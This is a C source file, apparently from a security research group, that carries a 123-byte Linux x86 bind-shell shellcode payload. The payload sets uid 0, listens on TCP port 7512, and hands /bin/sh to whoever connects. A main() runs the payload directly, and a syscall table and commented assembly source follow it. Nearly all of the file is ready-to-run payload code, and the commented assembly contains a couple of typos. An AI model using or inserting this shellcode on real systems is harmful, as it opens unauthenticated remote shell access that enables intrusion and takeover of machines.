/*  Tripbit Security Research (tripbit.org)
 *
 *        title: lnx86_bindshell
 *         port: 7512
 *         size: 123 bytes
 *       system: linux x86
 *       author: posidron
 *      contact: posidron[at]tripbit.org
 */

#include <stdio.h>

char bindshell[]= "\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x6a\x01\x6a"
      "\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52"
      "\x66\x68\x1d\x58\x66\x6a\x02\x89\xe2\x31\xc9\x6a"
      "\x10\x52\x50\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a"
      "\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31"
      "\xc9\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd"
      "\x80\x31\xc9\x89\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0"
      "\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80\x31\xc0\x50"
      "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
      "\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x31\xdb"
      "\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
  void(*tsr) (void);
        tsr = (void*)bindshell;
        tsr();
  return 0;
}


/*
%eax   Name      %ebx      %ecx            
1  sys_exit    int      -
11  sys_execve    struct pt_regs    -
23  sys_setuid    uid_t      -
63  sys_dup2    unsigned int    unsigned int
102  sys_socketcall    int      unsigned long*

- sys_socketcall_socket  = 1
- sys_socketcall_bind  = 2
- sys_socketcall_listen  = 4
- sys_socketcall_accept  = 5
*/


/*
main()
{
  __asm__("
    xor %ebx, %ebx
    movb $0x17, %al
    int $0x80

    xor %eax, %eax
    push %eax
    push $0x1
    push $0x2
    mov %esp,%ecx
    incb %bl
    movb $0x66,%al
    int $0x80

    xor %edx, %edx
    push %edx
    pushw $0x581d
    pushw %0x2
    mov %esp, %edx
    xor %ecx, %ecx
    push $0x10
    push %edx
    push %eax
    mov %esp, %ecx
    incb %bl
    mov $0x66, %al
    int $0x80

    push $0x2
    push $0x3
    mov %esp, %ecx
    movb $0x4, %bl
    movb $0x66, %al
    int $0x80

    xor %ecx, %ecx
    push %ecx
    push %ecx
    push $0x3
    mov %esp, %ecx
    incb %bl
    movb $0x66, %al
    int $0x80

    mov %ecx, %ecx
    mov %eax, %ebx
    movb $0x3f, %al
    int $0x80
    incb %cl
    mov $0x3f, %al
    int $0x80
    incb %cl
    movb $0x3f, %al
    int $0x80

    xor %eax, %eax
    push %eax
    push $0x68732f2f
    push $0x6e69622f
    mov %esp, %ebx
    push %eax 
    push %ebx
    mov %esp, %ecx
    xor %edx, %edx
    movb $0xb, %al
    int $0x80
    
    xor %ebx, %ebx
    movb $0x1, %al
    int $0x80
  ");
}
*/